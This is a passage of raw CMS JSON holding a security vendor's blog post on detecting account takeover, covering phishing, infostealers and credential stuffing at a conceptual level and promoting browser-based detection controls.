URL.",{"data":165963,"content":165964,"nodeType":1570},{},[165965],{"data":165966,"content":165967,"nodeType":866},{},[165968],{"data":165969,"marks":165970,"value":165971,"nodeType":865},{},[],"Session material e.g. session cookies. ",{"data":165973,"content":165974,"nodeType":866},{},[165975],{"data":165976,"marks":165977,"value":165978,"nodeType":865},{},[],"There are three main ways that an attacker can hijack an account by acquiring (or generating) these materials: Phishing, infostealers, and credential stuffing. ",{"data":165980,"content":165981,"nodeType":1616},{},[165982,165997,166012],{"data":165983,"content":165984,"nodeType":1570},{},[165985],{"data":165986,"content":165987,"nodeType":866},{},[165988,165993],{"data":165989,"marks":165990,"value":165992,"nodeType":865},{},[165991],{"type":926},"Phishing:",{"data":165994,"marks":165995,"value":165996,"nodeType":865},{},[]," Stealing valid authentication and session material from victims, including usernames, passwords, and session cookies (if AitM or BitM), for a specific site or app.",{"data":165998,"content":165999,"nodeType":1570},{},[166000],{"data":166001,"content":166002,"nodeType":866},{},[166003,166008],{"data":166004,"marks":166005,"value":166007,"nodeType":865},{},[166006],{"type":926},"Infostealers:",{"data":166009,"marks":166010,"value":166011,"nodeType":865},{},[]," Stealing valid authentication and session material from the victim’s web browsers for all apps that the user has signed into, as well as desktop information from the device.",{"data":166013,"content":166014,"nodeType":1570},{},[166015],{"data":166016,"content":166017,"nodeType":866},{},[166018,166023],{"data":166019,"marks":166020,"value":166022,"nodeType":865},{},[166021],{"type":926},"Credential stuffing: ",{"data":166024,"marks":166025,"value":166026,"nodeType":865},{},[],"Using previously breached authentication or session material in data breach dumps, or taking advantage of weak or guessable passwords (as a result of password reuse).",{"data":166028,"content":166029,"nodeType":866},{},[166030],{"data":166031,"marks":166032,"value":166033,"nodeType":865},{},[],"Once this information has been acquired, the attack path follows a similar journey regardless of the initial attack technique, ending in the attacker initiating a session in their own browser. ",{"data":166035,"content":166039,"nodeType":912},{"target":166036},{"sys":166037},{"id":166038,"type":909,"linkType":910},"7CJT84yPsiUaUO4Mfb6oFd",[],{"data":166041,"content":166042,"nodeType":866},{},[166043],{"data":166044,"marks":166045,"value":166046,"nodeType":865},{},[],"Clearly, there are a number of steps here that involve user behaviors/actions that could in theory be detected with the right visibility:",{"data":166048,"content":166049,"nodeType":1616},{},[166050,166060,166070,166080],{"data":166051,"content":166052,"nodeType":1570},{},[166053],{"data":166054,"content":166055,"nodeType":866},{},[166056],{"data":166057,"marks":166058,"value":166059,"nodeType":865},{},[],"The victim being sent and accessing a malicious link, or downloading a malicious file",{"data":166061,"content":166062,"nodeType":1570},{},[166063],{"data":166064,"content":166065,"nodeType":866},{},[166066],{"data":166067,"marks":166068,"value":166069,"nodeType":865},{},[],"The victim loading a malicious webpage",{"data":166071,"content":166072,"nodeType":1570},{},[166073],{"data":166074,"content":166075,"nodeType":866},{},[166076],{"data":166077,"marks":166078,"value":166079,"nodeType":865},{},[],"The victim interacting with a malicious webpage, such as entering their credentials",{"data":166081,"content":166082,"nodeType":1570},{},[166083],{"data":166084,"content":166085,"nodeType":866},{},[166086],{"data":166087,"marks":166088,"value":166089,"nodeType":865},{},[],"(If an infostealer attack) The victim executing malware on their device",{"data":166091,"content":166092,"nodeType":866},{},[166093],{"data":166094,"marks":166095,"value":166096,"nodeType":865},{},[],"Finally, the attacker must also access the stolen account from their own device/browser.",{"data":166098,"content":166099,"nodeType":1317},{},[166100],{"data":166101,"marks":166102,"value":166104,"nodeType":865},{},[166103],{"type":926},"Existing controls are falling short",{"data":166106,"content":166107,"nodeType":866},{},[166108],{"data":166109,"marks":166110,"value":166111,"nodeType":865},{},[],"So, now we know what these attacks look like, how do you feasibly detect and block them? ",{"data":166113,"content":166114,"nodeType":866},{},[166115],{"data":166116,"marks":166117,"value":166118,"nodeType":865},{},[],"The vast majority of identity attacks take place entirely over the internet. These attacks don’t involve traditional network and endpoint-based techniques, and therefore don’t run into many of your existing perimeter controls. Infostealer attacks are the exception in that they do involve an endpoint compromise (and therefore come up against EDR), but attackers are continually finding new bypass techniques, or are targeting unmanaged devices that are not protected by EDR. ",{"data":166120,"content":166121,"nodeType":866},{},[166122,166126,166134,166138,166146],{"data":166123,"marks":166124,"value":166125,"nodeType":865},{},[],"This leaves us in the hands of TI-driven blocklists and SWG/email controls that identify and block malicious content. However, these controls are largely based on ",{"data":166127,"content":166128,"nodeType":889},{"uri":4788},[166129],{"data":166130,"marks":166131,"value":166133,"nodeType":865},{},[166132],{"type":943},"indicators like domain names, URLs, and IPs",{"data":166135,"marks":166136,"value":166137,"nodeType":865},{},[]," which are easy for attackers to change (and therefore bypass). Where pages and downloads are analyzed, ",{"data":166139,"content":166140,"nodeType":889},{"uri":131810},[166141],{"data":166142,"marks":166143,"value":166145,"nodeType":865},{},[166144],{"type":943},"attackers are routinely implementing obfuscation measures to defeat more advanced dynamic controls",{"data":166147,"marks":166148,"value":166149,"nodeType":865},{},[]," with a lot of success, or using techniques like HTML smuggling to bypass download scanning tools. ",{"data":166151,"content":166152,"nodeType":1317},{},[166153],{"data":166154,"marks":166155,"value":166157,"nodeType":865},{},[166156],{"type":926},"Detecting and responding to account takeover with Push",{"data":166159,"content":166160,"nodeType":866},{},[166161],{"data":166162,"marks":166163,"value":166164,"nodeType":865},{},[],"But, Push’s vantage point in the browser gives us a very different perspective. Because in the browser, you have much better visibility of the rendered web page (meaning it's much harder to disguise malicious content). You also aren’t restricted to email, and can intercept a user loading a malicious page whatever it’s source. ",{"data":166166,"content":166170,"nodeType":912},{"target":166167},{"sys":166168},{"id":166169,"type":909,"linkType":910},"4JpFRHGRGEbCb1hNF0CGlE",[],{"data":166172,"content":166173,"nodeType":866},{},[166174],{"data":166175,"marks":166176,"value":166177,"nodeType":865},{},[],"So, let’s compare the typical web-based controls that organizations rely on against what’s possible using Push’s browser-based solution. We’ll put EDR to one side here and focus on a typical phishing attack, since the majority of the attack path happens over the internet (and the attacker has to return to the internet to access the app/account anyway). ",{"data":166179,"content":166183,"nodeType":912},{"target":166180},{"sys":166181},{"id":166182,"type":909,"linkType":910},"4ua9ZNNSnxJnRLwJvRTaf1",[],{"data":166185,"content":166186,"nodeType":866},{},[166187],{"data":166188,"marks":166189,"value":166190,"nodeType":865},{},[],"You can see here that attackers have established methods of routinely bypassing these controls. In contrast, with Push, there are layered detections against different stages of the attack path to account takeover, providing defense-in-depth should a layer be somehow bypassed.",{"data":166192,"content":166196,"nodeType":912},{"target":166193},{"sys":166194},{"id":166195,"type":909,"linkType":910},"ogIj92nzV9Q2Z7I9YOgG3",[],{"data":166198,"content":166199,"nodeType":866},{},[166200],{"data":166201,"marks":166202,"value":166203,"nodeType":865},{},[],"In practice, this creates four strong lines of defense – all before an attacker can even take over an account. ",{"data":166205,"content":166206,"nodeType":1616},{},[166207,166227,166247,166267],{"data":166208,"content":166209,"nodeType":1570},{},[166210],{"data":166211,"content":166212,"nodeType":866},{},[166213,166217,166224],{"data":166214,"marks":166215,"value":166216,"nodeType":865},{},[],"1st line: ",{"data":166218,"content":166219,"nodeType":889},{"uri":131895},[166220],{"data":166221,"marks":166222,"value":166223,"nodeType":865},{},[],"Detecting when a login page that you access is cloned from a legitimate page.",{"data":166225,"marks":166226,"value":21,"nodeType":865},{},[],{"data":166228,"content":166229,"nodeType":1570},{},[166230],{"data":166231,"content":166232,"nodeType":866},{},[166233,166237,166244],{"data":166234,"marks":166235,"value":166236,"nodeType":865},{},[],"2nd line: ",{"data":166238,"content":166239,"nodeType":889},{"uri":131844},[166240],{"data":166241,"marks":166242,"value":166243,"nodeType":865},{},[],"Detecting and blocking access to a page with a known phishing kit signature present on the page",{"data":166245,"marks":166246,"value":14251,"nodeType":865},{},[],{"data":166248,"content":166249,"nodeType":1570},{},[166250],{"data":166251,"content":166252,"nodeType":866},{},[166253,166257,166264],{"data":166254,"marks":166255,"value":166256,"nodeType":865},{},[],"3rd line: ",{"data":166258,"content":166259,"nodeType":889},{"uri":67859},[166260],{"data":166261,"marks":166262,"value":166263,"nodeType":865},{},[],"Detecting and blocking the user behavior of entering their password into any site that the password doesn’t belong to",{"data":166265,"marks":166266,"value":14251,"nodeType":865},{},[],{"data":166268,"content":166269,"nodeType":1570},{},[166270],{"data":166271,"content":166272,"nodeType":866},{},[166273,166277,166284],{"data":166274,"marks":166275,"value":166276,"nodeType":865},{},[],"4th line: ",{"data":166278,"content":166279,"nodeType":889},{"uri":62386},[166280],{"data":166281,"marks":166282,"value":166283,"nodeType":865},{},[],"Detecting when an attacker resumes a stolen session in a browser without the Push extension running. ",{"data":166285,"marks":166286,"value":21,"nodeType":865},{},[],{"data":166288,"content":166289,"nodeType":866},{},[166290],{"data":166291,"marks":166292,"value":166293,"nodeType":865},{},[],"Each of these controls either detects and blocks the account takeover attempt outright, or provides a high-fidelity indicator that should trigger a priority investigation via your SecOps workflow. ",{"data":166295,"content":166296,"nodeType":981},{},[166297],{"data":166298,"marks":166299,"value":57175,"nodeType":865},{},[166300],{"type":926},{"data":166302,"content":166303,"nodeType":866},{},[166304],{"data":166305,"marks":166306,"value":166307,"nodeType":865},{},[],"Hopefully we’ve demonstrated shifting detection left isn’t just possible, but essential for defending against modern identity attacks and account takeover. ",{"data":166309,"content":166310,"nodeType":866},{},[166311,166315,166323],{"data":166312,"marks":166313,"value":166314,"nodeType":865},{},[],"This is the second post in our design philosophy series, so if you want to read about how we’re building detections that are hard for attackers to bypass using the Pyramid of Pain, ",{"data":166316,"content":166317,"nodeType":889},{"uri":4788},[166318],{"data":166319,"marks":166320,"value":166322,"nodeType":865},{},[166321],{"type":943},"you can check it out here",{"data":166324,"marks":166325,"value":14251,"nodeType":865},{},[],{"data":166327,"content":166328,"nodeType":866},{},[166329],{"data":166330,"marks":166331,"value":166332,"nodeType":865},{},[],"We look forward to sharing more about our design philosophy with you in the future! ","Shifting detection left for more effective threat detection","Why relying on post-compromise detection and response is no longer an option for modern browser-based attacks.","2024-10-25T00:00:00.000Z","shifting-detection-left-for-more-effective-threat-detection",{"items":166338},[166339,166341],{"sys":166340,"name":342},{"id":4642},{"sys":166342,"name":7796},{"id":7795},{"items":166344},[166345],{"fullName":7800,"firstName":7801,"jobTitle":7802,"profilePicture":166346},{"url":7804},"blog/snowflake-retro",{"json":166349},{"data":166350,"content":166351,"nodeType":1382},{},[166352],{"data":166353,"content":166354,"nodeType":866},{},[166355],{"data":166356,"marks":166357,"value":166358,"nodeType":865},{},[],"The campaign against Snowflake customers in 2024 was a watershed moment for the cyber security industry, indicating that we’ve entered a new era of cyber security in which identity is the new perimeter.",{"id":61617,"publishedAt":166360},"2026-08-12T11:54:44.431Z",{"items":166362},[166363],{"sys":166364,"name":7796},{"id":7795},{"items":166366},[166367,166369,166371,166373,166375,166377,166379,166381,166383,166385,166387,166389,166391],{"sys":166368,"name":413,"slug":414,"tier":31},{"id":410},{"sys":166370,"name":545,"slug":546,"tier":31},{"id":542},{"sys":166372,"name":279,"slug":280,"tier":31},{"id":276},{"sys":166374,"name":642,"slug":643,"tier":31},{"id":639},{"sys":166376,"name":422,"slug":423,"tier":45},{"id":419},{"sys":166378,"name":333,"slug":334,"tier":45},{"id":330},{"sys":166380,"name":528,"slug":529,"tier":45},{"id":525},{"sys":166382,"name":395,"slug":396,"tier":45},{"id":392},{"sys":166384,"name":457,"slug":458,"tier":45},{"id":454},{"sys":166386,"name":502,"slug":503,"tier":45},{"id":499},{"sys":166388,"name":571,"slug":572,"tier":45},{"id":568},{"sys":166390,"name":633,"slug":634,"tier":45},{"id":630},{"sys":166392,"name":589,"slug":590,"tier":45},{"id":586},"xN-knFE2h__bhz7XxGqbZN_g_AAJlDtGURT2F_oSLRs",{"id":166395,"title":166333,"authorsCollection":166396,"content":166401,"extension":228,"faqItemsCollection":167167,"faqTitle":59,"featured":6,"hashTags":59,"meta":167169,"metaTitle":167170,"ogImage":167171,"postType":1424,"publishedDate":166335,"relatedBlogPostsCollection":167173,"slug":166336,"stem":170118,"subtitle":59,"summary":170119,"synopsis":166334,"sys":170130,"tagsCollection":170132,"topicsCollection":170138,"__hash__":170168},"blog/blog/shifting-detection-left-for-more-effective-threat-detection.json",{"items":166397},[166398],{"fullName":7800,"firstName":7801,"jobTitle":7802,"socialLinks":166399,"profilePicture":166400},[30152],{"url":7804},{"json":166402,"links":167119},{"data":166403,"content":166404,"nodeType":1382},{},[166405,166411,166417,166423,166428,166435,166441,166446,166452,166457,166463,166470,166476,166481,166487,166513,166519,166525,166555,166562,166568,166575,166582,166588,166594,166610,166616,166622,166628,166635,166641,166647,166677,166683,166731,166737,166743,166750,166756,166762,166768,166775,166781,166802,166808,166850,166856,166861,166867,166906,166912,166919,166925,166931,166957,166964,166970,166975,166981,166986,166992,166997,167003,167078,167084,167091,167097,167113],{"data":166406,"content":166407,"nodeType":866},{},[166408],{"data":166409,"marks":166410,"value":165524,"nodeType":865},{},[],{"data":166412,"content":166413,"nodeType":866},{},[166414],{"data":166415,"marks":166416,"value":165531,"nodeType":865},{},[],{"data":166418,"content":166419,"nodeType":866},{},[166420],{"data":166421,"marks":166422,"value":165538,"nodeType":865},{},[],{"data":166424,"content":166427,"nodeType":912},{"target":166425},{"sys":166426},{"id":165543,"type":909,"linkType":910},[],{"data":166429,"content":166430,"nodeType":981},{},[166431],{"data":166432,"marks":166433,"value":165552,"nodeType":865},{},[166434],{"type":926},{"data":166436,"content":166437,"nodeType":866},{},[166438],{"data":166439,"marks":166440,"value":165559,"nodeType":865},{},[],{"data":166442,"content":166445,"nodeType":912},{"target":166443},{"sys":166444},{"id":165564,"type":909,"linkType":910},[],{"data":166447,"content":166448,"nodeType":866},{},[166449],{"data":166450,"marks":166451,"value":165572,"nodeType":865},{},[],{"data":166453,"content":166456,"nodeType":912},{"target":166454},{"sys":166455},{"id":165577,"type":909,"linkType":910},[],{"data":166458,"content":166459,"nodeType":866},{},[166460],{"data":166461,"marks":166462,"value":165585,"nodeType":865},{},[],{"data":166464,"content":166465,"nodeType":981},{},[166466],{"data":166467,"marks":166468,"value":165593,"nodeType":865},{},[166469],{"type":926},{"data":166471,"content":166472,"nodeType":866},{},[166473],{"data":166474,"marks":166475,"value":165600,"nodeType":865},{},[],{"data":166477,"content":166480,"nodeType":912},{"target":166478},{"sys":166479},{"id":136211,"type":909,"linkType":910},[],{"data":166482,"content":166483,"nodeType":866},{},[166484],{"data":166485,"marks":166486,"value":165612,"nodeType":865},{},[],{"data":166488,"content":166489,"nodeType":866},{},[166490,166493,166500,166503,166510],{"data":166491,"marks":166492,"value":165619,"nodeType":865},{},[],{"data":166494,"content":166495,"nodeType":889},{"uri":13171},[166496],{"data":166497,"marks":166498,"value":165627,"nodeType":865},{},[166499],{"type":943},{"data":166501,"marks":166502,"value":165631,"nodeType":865},{},[],{"data":166504,"content":166505,"nodeType":889},{"uri":165634},[166506],{"data":166507,"marks":166508,"value":165640,"nodeType":865},{},[166509],{"type":943},{"data":166511,"marks":166512,"value":40358,"nodeType":865},{},[],{"data":166514,"content":166515,"nodeType":866},{},[166516],{"data":166517,"marks":166518,"value":165650,"nodeType":865},{},[],{"data":166520,"content":166521,"nodeType":866},{},[166522],{"data":166523,"marks":166524,"value":165657,"nodeType":865},{},[],{"data":166526,"content":166527,"nodeType":1616},{},[166528,166537,166546],{"data":166529,"content":166530,"nodeType":1570},{},[166531],{"data":166532,"content":166533,"nodeType":866},{},[166534],{"data":166535,"marks":166536,"value":165670,"nodeType":865},{},[],{"data":166538,"content":166539,"nodeType":1570},{},[166540],{"data":166541,"content":166542,"nodeType":866},{},[166543],{"data":166544,"marks":166545,"value":165680,"nodeType":865},{},[],{"data":166547,"content":166548,"nodeType":1570},{},[166549],{"data":166550,"content":166551,"nodeType":866},{},[166552],{"data":166553,"marks":166554,"value":165690,"nodeType":865},{},[],{"data":166556,"content":166557,"nodeType":866},{},[166558],{"data":166559,"marks":166560,"value":165698,"nodeType":865},{},[166561],{"type":926},{"data":166563,"content":166564,"nodeType":866},{},[166565],{"data":166566,"marks":166567,"value":165705,"nodeType":865},{},[],{"data":166569,"content":166570,"nodeType":981},{},[166571],{"data":166572,"marks":166573,"value":165713,"nodeType":865},{},[166574],{"type":926},{"data":166576,"content":166577,"nodeType":1317},{},[166578],{"data":166579,"marks":166580,"value":165721,"nodeType":865},{},[166581],{"type":926},{"data":166583,"content":166584,"nodeType":866},{},[166585],{"data":166586,"marks":166587,"value":165728,"nodeType":865},{},[],{"data":166589,"content":166590,"nodeType":866},{},[166591],{"data":166592,"marks":166593,"value":165735,"nodeType":865},{},[],{"data":166595,"content":166596,"nodeType":866},{},[166597,166600,166607],{"data":166598,"marks":166599,"value":165742,"nodeType":865},{},[],{"data":166601,"content":166602,"nodeType":889},{"uri":110403},[166603],{"data":166604,"marks":166605,"value":165750,"nodeType":865},{},[166606],{"type":943},{"data":166608,"marks":166609,"value":165754,"nodeType":865},{},[],{"data":166611,"content":166612,"nodeType":866},{},[166613],{"data":166614,"marks":166615,"value":165761,"nodeType":865},{},[],{"data":166617,"content":166618,"nodeType":866},{},[166619],{"data":166620,"marks":166621,"value":165768,"nodeType":865},{},[],{"data":166623,"content":166624,"nodeType":866},{},[166625],{"data":166626,"marks":166627,"value":165775,"nodeType":865},{},[],{"data":166629,"content":166630,"nodeType":1317},{},[166631],{"data":166632,"marks":166633,"value":165783,"nodeType":865},{},[166634],{"type":926},{"data":166636,"content":166637,"nodeType":866},{},[166638],{"data":166639,"marks":166640,"value":165790,"nodeType":865},{},[],{"data":166642,"content":166643,"nodeType":866},{},[166644],{"data":166645,"marks":166646,"value":165797,"nodeType":865},{},[],{"data":166648,"content":166649,"nodeType":1616},{},[166650,166659,166668],{"data":166651,"content":166652,"nodeType":1570},{},[166653],{"data":166654,"content":166655,"nodeType":866},{},[166656],{"data":166657,"marks":166658,"value":165810,"nodeType":865},{},[],{"data":166660,"content":166661,"nodeType":1570},{},[166662],{"data":166663,"content":166664,"nodeType":866},{},[166665],{"data":166666,"marks":166667,"value":165820,"nodeType":865},{},[],{"data":166669,"content":166670,"nodeType":1570},{},[166671],{"data":166672,"content":166673,"nodeType":866},{},[166674],{"data":166675,"marks":166676,"value":165830,"nodeType":865},{},[],{"data":166678,"content":166679,"nodeType":866},{},[166680],{"data":166681,"marks":166682,"value":165837,"nodeType":865},{},[],{"data":166684,"content":166685,"nodeType":1616},{},[166686,166695,166704,166713,166722],{"data":166687,"content":166688,"nodeType":1570},{},[166689],{"data":166690,"content":166691,"nodeType":866},{},[166692],{"data":166693,"marks":166694,"value":165850,"nodeType":865},{},[],{"data":166696,"content":166697,"nodeType":1570},{},[166698],{"data":166699,"content":166700,"nodeType":866},{},[166701],{"data":166702,"marks":166703,"value":165860,"nodeType":865},{},[],{"data":166705,"content":166706,"nodeType":1570},{},[166707],{"data":166708,"content":166709,"nodeType":866},{},[166710],{"data":166711,"marks":166712,"value":165870,"nodeType":865},{},[],{"data":166714,"content":166715,"nodeType":1570},{},[166716],{"data":166717,"content":166718,"nodeType":866},{},[166719],{"data":166720,"marks":166721,"value":165880,"nodeType":865},{},[],{"data":166723,"content":166724,"nodeType":1570},{},[166725],{"data":166726,"content":166727,"nodeType":866},{},[166728],{"data":166729,"marks":166730,"value":165890,"nodeType":865},{},[],{"data":166732,"content":166733,"nodeType":866},{},[166734],{"data":166735,"marks":166736,"value":165897,"nodeType":865},{},[],{"data":166738,"content":166739,"nodeType":866},{},[166740],{"data":166741,"marks":166742,"value":165904,"nodeType":865},{},[],{"data":166744,"content":166745,"nodeType":981},{},[166746],{"data":166747,"marks":166748,"value":165912,"nodeType":865},{},[166749],{"type":926},{"data":166751,"content":166752,"nodeType":866},{},[166753],{"data":166754,"marks":166755,"value":165919,"nodeType":865},{},[],{"data":166757,"content":166758,"nodeType":866},{},[166759],{"data":166760,"marks":166761,"value":165926,"nodeType":865},{},[],{"data":166763,"content":166764,"nodeType":866},{},[166765],{"data":166766,"marks":166767,"value":165933,"nodeType":865},{},[],{"data":166769,"content":166770,"nodeType":1317},{},[166771],{"data":166772,"marks":166773,"value":165941,"nodeType":865},{},[166774],{"type":926},{"data":166776,"content":166777,"nodeType":866},{},[166778],{"data":166779,"marks":166780,"value":165948,"nodeType":865},{},[],{"data":166782,"content":166783,"nodeType":1616},{},[166784,166793],{"data":166785,"content":166786,"nodeType":1570},{},[166787],{"data":166788,"content":166789,"nodeType":866},{},[166790],{"data":166791,"marks":166792,"value":165961,"nodeType":865},{},[],{"data":166794,"content":166795,"nodeType":1570},{},[166796],{"data":166797,"content":166798,"nodeType":866},{},[166799],{"data":166800,"marks":166801,"value":165971,"nodeType":865},{},[],{"data":166803,"content":166804,"nodeType":866},{},[166805],{"data":166806,"marks":166807,"value":165978,"nodeType":865},{},[],{"data":166809,"content":166810,"nodeType":1616},{},[166811,166824,166837],{"data":166812,"content":166813,"nodeType":1570},{},[166814],{"data":166815,"content":166816,"nodeType":866},{},[166817,166821],{"data":166818,"marks":166819,"value":165992,"nodeType":865},{},[166820],{"type":926},{"data":166822,"marks":166823,"value":165996,"nodeType":865},{},[],{"data":166825,"content":166826,"nodeType":1570},{},[166827],{"data":166828,"content":166829,"nodeType":866},{},[166830,166834],{"data":166831,"marks":166832,"value":166007,"nodeType":865},{},[166833],{"type":926},{"data":166835,"marks":166836,"value":166011,"nodeType":865},{},[],{"data":166838,"content":166839,"nodeType":1570},{},[166840],{"data":166841,"content":166842,"nodeType":866},{},[166843,166847],{"data":166844,"marks":166845,"value":166022,"nodeType":865},{},[166846],{"type":926},{"data":166848,"marks":166849,"value":166026,"nodeType":865},{},[],{"data":166851,"content":166852,"nodeType":866},{},[166853],{"data":166854,"marks":166855,"value":166033,"nodeType":865},{},[],{"data":166857,"content":166860,"nodeType":912},{"target":166858},{"sys":166859},{"id":166038,"type":909,"linkType":910},[],{"data":166862,"content":166863,"nodeType":866},{},[166864],{"data":166865,"marks":166866,"value":166046,"nodeType":865},{},[],{"data":166868,"content":166869,"nodeType":1616},{},[166870,166879,166888,166897],{"data":166871,"content":166872,"nodeType":1570},{},[166873],{"data":166874,"content":166875,"nodeType":866},{},[166876],{"data":166877,"marks":166878,"value":166059,"nodeType":865},{},[],{"data":166880,"content":166881,"nodeType":1570},{},[166882],{"data":166883,"content":166884,"nodeType":866},{},[166885],{"data":166886,"marks":166887,"value":166069,"nodeType":865},{},[],{"data":166889,"content":166890,"nodeType":1570},{},[166891],{"data":166892,"content":166893,"nodeType":866},{},[166894],{"data":166895,"marks":166896,"value":166079,"nodeType":865},{},[],{"data":166898,"content":166899,"nodeType":1570},{},[166900],{"data":166901,"content":166902,"nodeType":866},{},[166903],{"data":166904,"marks":166905,"value":166089,"nodeType":865},{},[],{"data":166907,"content":166908,"nodeType":866},{},[166909],{"data":166910,"marks":166911,"value":166096,"nodeType":865},{},[],{"data":166913,"content":166914,"nodeType":1317},{},[166915],{"data":166916,"marks":166917,"value":166104,"nodeType":865},{},[166918],{"type":926},{"data":166920,"content":166921,"nodeType":866},{},[166922],{"data":166923,"marks":166924,"value":166111,"nodeType":865},{},[],{"data":166926,"content":166927,"nodeType":866},{},[166928],{"data":166929,"marks":166930,"value":166118,"nodeType":865},{},[],{"data":166932,"content":166933,"nodeType":866},{},[166934,166937,166944,166947,166954],{"data":166935,"marks":166936,"value":166125,"nodeType":865},{},[],{"data":166938,"content":166939,"nodeType":889},{"uri":4788},[166940],{"data":166941,"marks":166942,"value":166133,"nodeType":865},{},[166943],{"type":943},{"data":166945,"marks":166946,"value":166137,"nodeType":865},{},[],{"data":166948,"content":166949,"nodeType":889},{"uri":131810},[166950],{"data":166951,"marks":166952,"value":166145,"nodeType":865},{},[166953],{"type":943},{"data":166955,"marks":166956,"value":166149,"nodeType":865},{},[],{"data":166958,"content":166959,"nodeType":1317},{},[166960],{"data":166961,"marks":166962,"value":166157,"nodeType":865},{},[166963],{"type":926},{"data":166965,"content":166966,"nodeType":866},{},[166967],{"data":166968,"marks":166969,"value":166164,"nodeType":865},{},[],{"data":166971,"content":166974,"nodeType":912},{"target":166972},{"sys":166973},{"id":166169,"type":909,"linkType":910},[],{"data":166976,"content":166977,"nodeType":866},{},[166978],{"data":166979,"marks":166980,"value":166177,"nodeType":865},{},[],{"data":166982,"content":166985,"nodeType":912},{"target":166983},{"sys":166984},{"id":166182,"type":909,"linkType":910},[],{"data":166987,"content":166988,"nodeType":866},{},[166989],{"data":166990,"marks":166991,"value":166190,"nodeType":865},{},[],{"data":166993,"content":166996,"nodeType":912},{"target":166994},{"sys":166995},{"id":166195,"type":909,"linkType":910},[],{"data":166998,"content":166999,"nodeType":866},{},[167000],{"data":167001,"marks":167002,"value":166203,"nodeType":865},{},[],{"data":167004,"content":167005,"nodeType":1616},{},[167006,167024,167042,167060],{"data":167007,"content":167008,"nodeType":1570},{},[167009],{"data":167010,"content":167011,"nodeType":866},{},[167012,167015,167021],{"data":167013,"marks":167014,"value":166216,"nodeType":865},{},[],{"data":167016,"content":167017,"nodeType":889},{"uri":131895},[167018],{"data":167019,"marks":167020,"value":166223,"nodeType":865},{},[],{"data":167022,"marks":167023,"value":21,"nodeType":865},{},[],{"data":167025,"content":167026,"nodeType":1570},{},[167027],{"data":167028,"content":167029,"nodeType":866},{},[167030,167033,167039],{"data":167031,"marks":167032,"value":166236,"nodeType":865},{},[],{"data":167034,"content":167035,"nodeType":889},{"uri":131844},[167036],{"data":167037,"marks":167038,"value":166243,"nodeType":865},{},[],{"data":167040,"marks":167041,"value":14251,"nodeType":865},{},[],{"data":167043,"content":167044,"nodeType":1570},{},[167045],{"data":167046,"content":167047,"nodeType":866},{},[167048,167051,167057],{"data":167049,"marks":167050,"value":166256,"nodeType":865},{},[],{"data":167052,"content":167053,"nodeType":889},{"uri":67859},[167054],{"data":167055,"marks":167056,"value":166263,"nodeType":865},{},[],{"data":167058,"marks":167059,"value":14251,"nodeType":865},{},[],{"data":167061,"content":167062,"nodeType":1570},{},[167063],{"data":167064,"content":167065,"nodeType":866},{},[167066,167069,167075],{"data":167067,"marks":167068,"value":166276,"nodeType":865},{},[],{"data":167070,"content":167071,"nodeType":889},{"uri":62386},[167072],{"data":167073,"marks":167074,"value":166283,"nodeType":865},{},[],{"data":167076,"marks":167077,"value":21,"nodeType":865},{},[],{"data":167079,"content":167080,"nodeType":866},{},[167081],{"data":167082,"marks":167083,"value":166293,"nodeType":865},{},[],{"data":167085,"content":167086,"nodeType":981},{},[167087],{"data":167088,"marks":167089,"value":57175,"nodeType":865},{},[167090],{"type":926},{"data":167092,"content":167093,"nodeType":866},{},[167094],{"data":167095,"marks":167096,"value":166307,"nodeType":865},{},[],{"data":167098,"content":167099,"nodeType":866},{},[167100,167103,167110],{"data":167101,"marks":167102,"value":166314,"nodeType":865},{},[],{"data":167104,"content":167105,"nodeType":889},{"uri":4788},[167106],{"data":167107,"marks":167108,"value":166322,"nodeType":865},{},[167109],{"type":943},{"data":167111,"marks":167112,"value":14251,"nodeType":865},{},[],{"data":167114,"content":167115,"nodeType":866},{},[167116],{"data":167117,"marks":167118,"value":166332,"nodeType":865},{},[],{"entries":167120},{"hyperlink":167121,"inline":167122,"block":167123},[],[],[167124,167127,167133,167139,167142,167148,167155,167161],{"sys":167125,"__typename":1414,"type":1415,"ctaText":167126,"buttonLabel":134228,"buttonColour":1418,"buttonUrl":4788},{"id":165543},"New to the series? Read our first design principles blog on building better detections using the Pyramid of Pain",{"sys":167128,"__typename":1390,"title":167129,"caption":167129,"layoutMode":59,"file":167130},{"id":165564},"Network compromise in a traditional 'on-prem' environment",{"url":167131,"width":136693,"height":167132},"https://images.ctfassets.net/y1cdw1ablpvd/2kWUeTHvxsqJDvXP0v2Mev/57cc372e313a1d36e9c53e4c099831b1/Traditional_attack_path.png",597,{"sys":167134,"__typename":1390,"title":167135,"caption":167135,"layoutMode":59,"file":167136},{"id":165577},"The typical attack path (according to old-school consultancies and MSSPs)",{"url":167137,"width":142241,"height":167138},"https://images.ctfassets.net/y1cdw1ablpvd/2lqJtgZROb1Qyoa0myb692/37dedf4120ba60cfb340fd3a69bea248/Typical_hybrid_attack_path.png",893,{"sys":167140,"__typename":1390,"title":136690,"caption":136690,"layoutMode":59,"file":167141},{"id":136211},{"url":136692,"width":136693,"height":111668},{"sys":167143,"__typename":1390,"title":167144,"caption":167145,"layoutMode":59,"file":167146},{"id":166038},"Paths to account takeover","Overlapping paths to account takeover via phishing, infostealers and credential stuffing",{"url":167147,"width":142241,"height":167138},"https://images.ctfassets.net/y1cdw1ablpvd/3UZL6NydNnGa0kJHF9s6Ld/2fdb6d3aa8abb45d89cf334f5d3e9139/Paths_to_account_takeover__1_.png",{"sys":167149,"__typename":1390,"title":167150,"caption":167151,"layoutMode":59,"file":167152},{"id":166169},"Browser visibility and telemetry","The browser provides deep, real time visibility of the rendered web app and user activity",{"url":167153,"width":99827,"height":167154},"https://images.ctfassets.net/y1cdw1ablpvd/7ntzZN0bNnt4Rc3kseTfji/d303986b42f9bab60a6566c5694d26b7/image2.png",738,{"sys":167156,"__typename":1390,"title":167157,"caption":167158,"layoutMode":59,"file":167159},{"id":166182},"Identity attack detection without Push","TI-driven blocklists and email scanning tools are routinely bypassed by attackers",{"url":167160,"width":142241,"height":142242},"https://images.ctfassets.net/y1cdw1ablpvd/1pyLJUgcNuPV2hHz8BgXt6/6e587945d0985e9025e9e628efc2e227/Phishing_detection_without_Push__6_.png",{"sys":167162,"__typename":1390,"title":167163,"caption":167164,"layoutMode":59,"file":167165},{"id":166195},"Identity attack detection with Push","Push detects and blocks multiple stages of an account takeover 